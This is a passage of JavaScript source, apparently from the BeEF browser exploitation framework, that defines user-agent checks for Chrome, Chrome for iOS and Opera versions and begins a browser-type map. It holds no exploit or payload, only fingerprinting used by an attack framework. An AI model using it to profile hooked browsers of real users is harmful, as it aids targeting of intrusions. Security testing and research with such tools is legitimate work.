4331 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 24) ? true : false);
4332 },
4333
4334 /**
4335 * Returns true if Chrome for iOS 24.
4336 * @example: beef.browser.isC24iOS()
4337 */
4338 isC24iOS: function () {
4339 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 24) ? true : false);
4340 },
4341
4342 /**
4343 * Returns true if Chrome 25.
4344 * @example: beef.browser.isC25()
4345 */
4346 isC25: function () {
4347 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 25) ? true : false);
4348 },
4349
4350 /**
4351 * Returns true if Chrome for iOS 25.
4352 * @example: beef.browser.isC25iOS()
4353 */
4354 isC25iOS: function () {
4355 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 25) ? true : false);
4356 },
4357
4358 /**
4359 * Returns true if Chrome 26.
4360 * @example: beef.browser.isC26()
4361 */
4362 isC26: function () {
4363 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 26) ? true : false);
4364 },
4365
4366 /**
4367 * Returns true if Chrome for iOS 26.
4368 * @example: beef.browser.isC26iOS()
4369 */
4370 isC26iOS: function () {
4371 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 26) ? true : false);
4372 },
4373
4374 /**
4375 * Returns true if Chrome 27.
4376 * @example: beef.browser.isC27()
4377 */
4378 isC27: function () {
4379 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 27) ? true : false);
4380 },
4381
4382 /**
4383 * Returns true if Chrome for iOS 27.
4384 * @example: beef.browser.isC27iOS()
4385 */
4386 isC27iOS: function () {
4387 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 27) ? true : false);
4388 },
4389
4390 /**
4391 * Returns true if Chrome 28.
4392 * @example: beef.browser.isC28()
4393 */
4394 isC28: function () {
4395 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 28) ? true : false);
4396 },
4397
4398 /**
4399 * Returns true if Chrome for iOS 28.
4400 * @example: beef.browser.isC28iOS()
4401 */
4402 isC28iOS: function () {
4403 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 28) ? true : false);
4404 },
4405
4406 /**
4407 * Returns true if Chrome 29.
4408 * @example: beef.browser.isC29()
4409 */
4410 isC29: function () {
4411 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 29) ? true : false);
4412 },
4413
4414 /**
4415 * Returns true if Chrome for iOS 29.
4416 * @example: beef.browser.isC29iOS()
4417 */
4418 isC29iOS: function () {
4419 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 29) ? true : false);
4420 },
4421
4422 /**
4423 * Returns true if Chrome 30.
4424 * @example: beef.browser.isC30()
4425 */
4426 isC30: function () {
4427 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 30) ? true : false);
4428 },
4429
4430 /**
4431 * Returns true if Chrome for iOS 30.
4432 * @example: beef.browser.isC30iOS()
4433 */
4434 isC30iOS: function () {
4435 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 30) ? true : false);
4436 },
4437
4438 /**
4439 * Returns true if Chrome 31.
4440 * @example: beef.browser.isC31()
4441 */
4442 isC31: function () {
4443 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 31) ? true : false);
4444 },
4445
4446 /**
4447 * Returns true if Chrome for iOS 31.
4448 * @example: beef.browser.isC31iOS()
4449 */
4450 isC31iOS: function () {
4451 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 31) ? true : false);
4452 },
4453
4454 /**
4455 * Returns true if Chrome 32.
4456 * @example: beef.browser.isC32()
4457 */
4458 isC32: function () {
4459 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 32) ? true : false);
4460 },
4461
4462 /**
4463 * Returns true if Chrome for iOS 32.
4464 * @example: beef.browser.isC32iOS()
4465 */
4466 isC32iOS: function () {
4467 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 32) ? true : false);
4468 },
4469
4470 /**
4471 * Returns true if Chrome 33.
4472 * @example: beef.browser.isC33()
4473 */
4474 isC33: function () {
4475 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 33) ? true : false);
4476 },
4477
4478 /**
4479 * Returns true if Chrome for iOS 33.
4480 * @example: beef.browser.isC33iOS()
4481 */
4482 isC33iOS: function () {
4483 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 33) ? true : false);
4484 },
4485
4486 /**
4487 * Returns true if Chrome 34.
4488 * @example: beef.browser.isC34()
4489 */
4490 isC34: function () {
4491 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 34) ? true : false);
4492 },
4493
4494 /**
4495 * Returns true if Chrome for iOS 34.
4496 * @example: beef.browser.isC34iOS()
4497 */
4498 isC34iOS: function () {
4499 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 34) ? true : false);
4500 },
4501
4502 /**
4503 * Returns true if Chrome 35.
4504 * @example: beef.browser.isC35()
4505 */
4506 isC35: function () {
4507 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 35) ? true : false);
4508 },
4509
4510 /**
4511 * Returns true if Chrome for iOS 35.
4512 * @example: beef.browser.isC35iOS()
4513 */
4514 isC35iOS: function () {
4515 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 35) ? true : false);
4516 },
4517
4518 /**
4519 * Returns true if Chrome 36.
4520 * @example: beef.browser.isC36()
4521 */
4522 isC36: function () {
4523 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 36) ? true : false);
4524 },
4525
4526 /**
4527 * Returns true if Chrome for iOS 36.
4528 * @example: beef.browser.isC36iOS()
4529 */
4530 isC36iOS: function () {
4531 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 36) ? true : false);
4532 },
4533
4534 /**
4535 * Returns true if Chrome 37.
4536 * @example: beef.browser.isC37()
4537 */
4538 isC37: function () {
4539 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 37) ? true : false);
4540 },
4541
4542 /**
4543 * Returns true if Chrome for iOS 37.
4544 * @example: beef.browser.isC37iOS()
4545 */
4546 isC37iOS: function () {
4547 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 37) ? true : false);
4548 },
4549
4550 /**
4551 * Returns true if Chrome 38.
4552 * @example: beef.browser.isC38()
4553 */
4554 isC38: function () {
4555 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 38) ? true : false);
4556 },
4557
4558 /**
4559 * Returns true if Chrome for iOS 38.
4560 * @example: beef.browser.isC38iOS()
4561 */
4562 isC38iOS: function () {
4563 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 38) ? true : false);
4564 },
4565
4566 /**
4567 * Returns true if Chrome 39.
4568 * @example: beef.browser.isC39()
4569 */
4570 isC39: function () {
4571 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 39) ? true : false);
4572 },
4573
4574 /**
4575 * Returns true if Chrome for iOS 39.
4576 * @example: beef.browser.isC39iOS()
4577 */
4578 isC39iOS: function () {
4579 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 39) ? true : false);
4580 },
4581
4582 /**
4583 * Returns true if Chrome 40.
4584 * @example: beef.browser.isC40()
4585 */
4586 isC40: function () {
4587 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 40) ? true : false);
4588 },
4589
4590 /**
4591 * Returns true if Chrome for iOS 40.
4592 * @example: beef.browser.isC40iOS()
4593 */
4594 isC40iOS: function () {
4595 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 40) ? true : false);
4596 },
4597
4598 /**
4599 * Returns true if Chrome 41.
4600 * @example: beef.browser.isC41()
4601 */
4602 isC41: function () {
4603 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 41) ? true : false);
4604 },
4605
4606 /**
4607 * Returns true if Chrome for iOS 41.
4608 * @example: beef.browser.isC41iOS()
4609 */
4610 isC41iOS: function () {
4611 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 41) ? true : false);
4612 },
4613
4614 /**
4615 * Returns true if Chrome 42.
4616 * @example: beef.browser.isC42()
4617 */
4618 isC42: function () {
4619 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 42) ? true : false);
4620 },
4621
4622 /**
4623 * Returns true if Chrome for iOS 42.
4624 * @example: beef.browser.isC42iOS()
4625 */
4626 isC42iOS: function () {
4627 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 42) ? true : false);
4628 },
4629
4630 /**
4631 * Returns true if Chrome 43.
4632 * @example: beef.browser.isC43()
4633 */
4634 isC43: function () {
4635 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 43) ? true : false);
4636 },
4637
4638 /**
4639 * Returns true if Chrome for iOS 43.
4640 * @example: beef.browser.isC43iOS()
4641 */
4642 isC43iOS: function () {
4643 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 43) ? true : false);
4644 },
4645
4646 /**
4647 * Returns true if Chrome 44.
4648 * @example: beef.browser.isC44()
4649 */
4650 isC44: function () {
4651 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 44) ? true : false);
4652 },
4653
4654 /**
4655 * Returns true if Chrome for iOS 44.
4656 * @example: beef.browser.isC44iOS()
4657 */
4658 isC44iOS: function () {
4659 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 44) ? true : false);
4660 },
4661
4662 /**
4663 * Returns true if Chrome 45.
4664 * @example: beef.browser.isC45()
4665 */
4666 isC45: function () {
4667 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 45) ? true : false);
4668 },
4669
4670 /**
4671 * Returns true if Chrome for iOS 45.
4672 * @example: beef.browser.isC45iOS()
4673 */
4674 isC45iOS: function () {
4675 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 45) ? true : false);
4676 },
4677
4678 /**
4679 * Returns true if Chrome 46.
4680 * @example: beef.browser.isC46()
4681 */
4682 isC46: function () {
4683 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 46) ? true : false);
4684 },
4685
4686 /**
4687 * Returns true if Chrome for iOS 46.
4688 * @example: beef.browser.isC46iOS()
4689 */
4690 isC46iOS: function () {
4691 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 46) ? true : false);
4692 },
4693
4694 /**
4695 * Returns true if Chrome 47.
4696 * @example: beef.browser.isC47()
4697 */
4698 isC47: function () {
4699 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 47) ? true : false);
4700 },
4701
4702 /**
4703 * Returns true if Chrome for iOS 47.
4704 * @example: beef.browser.isC47iOS()
4705 */
4706 isC47iOS: function () {
4707 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 47) ? true : false);
4708 },
4709
4710 /**
4711 * Returns true if Chrome 48.
4712 * @example: beef.browser.isC48()
4713 */
4714 isC48: function () {
4715 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 48) ? true : false);
4716 },
4717
4718 /**
4719 * Returns true if Chrome for iOS 48.
4720 * @example: beef.browser.isC48iOS()
4721 */
4722 isC48iOS: function () {
4723 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 48) ? true : false);
4724 },
4725
4726 /**
4727 * Returns true if Chrome 49.
4728 * @example: beef.browser.isC49()
4729 */
4730 isC49: function () {
4731 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 49) ? true : false);
4732 },
4733
4734 /**
4735 * Returns true if Chrome for iOS 49.
4736 * @example: beef.browser.isC49iOS()
4737 */
4738 isC49iOS: function () {
4739 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 49) ? true : false);
4740 },
4741
4742 /**
4743 * Returns true if Chrome 50.
4744 * @example: beef.browser.isC50()
4745 */
4746 isC50: function () {
4747 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 50) ? true : false);
4748 },
4749
4750 /**
4751 * Returns true if Chrome for iOS 50.
4752 * @example: beef.browser.isC50iOS()
4753 */
4754 isC50iOS: function () {
4755 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 50) ? true : false);
4756 },
4757
4758 /**
4759 * Returns true if Chrome 51.
4760 * @example: beef.browser.isC51()
4761 */
4762 isC51: function () {
4763 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 51) ? true : false);
4764 },
4765
4766 /**
4767 * Returns true if Chrome for iOS 51.
4768 * @example: beef.browser.isC51iOS()
4769 */
4770 isC51iOS: function () {
4771 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 51) ? true : false);
4772 },
4773
4774 /**
4775 * Returns true if Chrome 52.
4776 * @example: beef.browser.isC52()
4777 */
4778 isC52: function () {
4779 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 52) ? true : false);
4780 },
4781
4782 /**
4783 * Returns true if Chrome for iOS 52.
4784 * @example: beef.browser.isC52iOS()
4785 */
4786 isC52iOS: function () {
4787 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 52) ? true : false);
4788 },
4789
4790 /**
4791 * Returns true if Chrome 53.
4792 * @example: beef.browser.isC53()
4793 */
4794 isC53: function () {
4795 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 53) ? true : false);
4796 },
4797
4798 /**
4799 * Returns true if Chrome for iOS 53.
4800 * @example: beef.browser.isC53iOS()
4801 */
4802 isC53iOS: function () {
4803 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 53) ? true : false);
4804 },
4805
4806 /**
4807 * Returns true if Chrome 54.
4808 * @example: beef.browser.isC54()
4809 */
4810 isC54: function () {
4811 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 54) ? true : false);
4812 },
4813
4814 /**
4815 * Returns true if Chrome for iOS 54.
4816 * @example: beef.browser.isC54iOS()
4817 */
4818 isC54iOS: function () {
4819 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 54) ? true : false);
4820 },
4821
4822 /**
4823 * Returns true if Chrome 55.
4824 * @example: beef.browser.isC55()
4825 */
4826 isC55: function () {
4827 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 55) ? true : false);
4828 },
4829
4830 /**
4831 * Returns true if Chrome for iOS 55.
4832 * @example: beef.browser.isC55iOS()
4833 */
4834 isC55iOS: function () {
4835 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 55) ? true : false);
4836 },
4837
4838 /**
4839 * Returns true if Chrome 56.
4840 * @example: beef.browser.isC56()
4841 */
4842 isC56: function () {
4843 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 56) ? true : false);
4844 },
4845
4846 /**
4847 * Returns true if Chrome for iOS 56.
4848 * @example: beef.browser.isC56iOS()
4849 */
4850 isC56iOS: function () {
4851 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 56) ? true : false);
4852 },
4853
4854 /**
4855 * Returns true if Chrome 57.
4856 * @example: beef.browser.isC57()
4857 */
4858 isC57: function () {
4859 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 57) ? true : false);
4860 },
4861
4862 /**
4863 * Returns true if Chrome for iOS 57.
4864 * @example: beef.browser.isC57iOS()
4865 */
4866 isC57iOS: function () {
4867 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 57) ? true : false);
4868 },
4869
4870 /**
4871 * Returns true if Chrome 58.
4872 * @example: beef.browser.isC58()
4873 */
4874 isC58: function () {
4875 return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 58) ? true : false);
4876 },
4877
4878 /**
4879 * Returns true if Chrome for iOS 58.
4880 * @example: beef.browser.isC58iOS()
4881 */
4882 isC58iOS: function () {
4883 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 58) ? true : false);
4884 },
4885 isC63iOS: function () {
4886 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 63) ? true : false);
4887 },
4888
4889 /**
4890 * Returns true if Chrome.
4891 * @example: beef.browser.isC()
4892 */
4893 isC: function () {
4894 return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC45iOS() || this.isC46() || this.isC46iOS() || this.isC47() || this.isC47iOS() || this.isC48() || this.isC48iOS() || this.isC49() || this.isC49iOS() || this.isC50() || this.isC50iOS() || this.isC51() || this.isC51iOS() || this.isC52() || this.isC52iOS() || this.isC53() || this.isC53iOS() || this.isC54() || this.isC54iOS() || this.isC55() || this.isC55iOS() || this.isC56() || this.isC56iOS() || this.isC57() || this.isC57iOS() || this.isC58() || this.isC58iOS() || this.isC63iOS();
4895 },
4896
4897 /**
4898 * Returns true if Opera 9.50 through 9.52.
4899 * @example: beef.browser.isO9_52()
4900 */
4901 isO9_52: function () {
4902 return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
4903 },
4904
4905 /**
4906 * Returns true if Opera 9.60 through 9.64.
4907 * @example: beef.browser.isO9_60()
4908 */
4909 isO9_60: function () {
4910 return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
4911 },
4912
4913 /**
4914 * Returns true if Opera 10.xx.
4915 * @example: beef.browser.isO10()
4916 */
4917 isO10: function () {
4918 return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
4919 },
4920
4921 /**
4922 * Returns true if Opera 11.xx.
4923 * @example: beef.browser.isO11()
4924 */
4925 isO11: function () {
4926 return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
4927 },
4928
4929 /**
4930 * Returns true if Opera 12.xx.
4931 * @example: beef.browser.isO12()
4932 */
4933 isO12: function () {
4934 return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null));
4935 },
4936
4937 /**
4938 * Returns true if Opera.
4939 * @example: beef.browser.isO()
4940 */
4941 isO: function () {
4942 return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();
4943 },
4944
4945 /**
4946 * Returns a hash of string keys representing a given capability
4947 * @example: beef.browser.capabilities()["navigator.plugins"]
4948 */
4949 capabilities: function () {
4950 var out = {};
4951 var type = this.type();
4952
4953 out["navigator.plugins"] = (type.IE11 || !type.IE);
4954
4955 return out;
4956 },
4957
4958 /**
4959 * Returns the type of browser being used.
4960 * @example: beef.browser.type().IE6
4961 * @example: beef.browser.type().FF
4962 * @example: beef.browser.type().O
4963 */
4964 type: function () {
4965
4966 return {
4967 C5: this.isC5(), // Chrome 5
4968 C6: this.isC6(), // Chrome 6
4969 C7: this.isC7(), // Chrome 7
4970 C8: this.isC8(), // Chrome 8
4971 C9: this.isC9(), // Chrome 9
4972 C10: this.isC10(), // Chrome 10
4973 C11: this.isC11(), // Chrome 11
4974 C12: this.isC12(), // Chrome 12
4975 C13: this.isC13(), // Chrome 13
4976 C14: this.isC14(), // Chrome 14
4977 C15: this.isC15(), // Chrome 15
4978 C16: this.isC16(), // Chrome 16
4979 C17: this.isC17(), // Chrome 17
4980 C18: this.isC18(), // Chrome 18
4981 C19: this.isC19(), // Chrome 19
4982 C19iOS: this.isC19iOS(), // Chrome 19 on iOS
4983 C20: this.isC20(), // Chrome 20
4984 C20iOS: this.isC20iOS(), // Chrome 20 on iOS
4985 C21: this.isC21(), // Chrome 21
4986 C21iOS: this.isC21iOS(), // Chrome 21 on iOS
4987 C22: this.isC22(), // Chrome 22
4988 C22iOS: this.isC22iOS(), // Chrome 22 on iOS
4989 C23: this.isC23(), // Chrome 23
4990 C23iOS: this.isC23iOS(), // Chrome 23 on iOS
4991 C24: this.isC24(), // Chrome 24
4992 C24iOS: this.isC24iOS(), // Chrome 24 on iOS
4993 C25: this.isC25(), // Chrome 25
4994 C25iOS: this.isC25iOS(), // Chrome 25 on iOS
4995 C26: this.isC26(), // Chrome 26
4996 C26iOS: this.isC26iOS(), // Chrome 26 on iOS
4997 C27: this.isC27(), // Chrome 27
4998 C27iOS: this.isC27iOS(), // Chrome 27 on iOS
4999 C28: this.isC28(), // Chrome 28
5000 C28iOS: this.isC28iOS(), // Chrome 28 on iOS
5001 C29: this.isC29(), // Chrome 29
5002 C29iOS: this.isC29iOS(), // Chrome 29 on iOS
5003 C30: this.isC30(), // Chrome 30
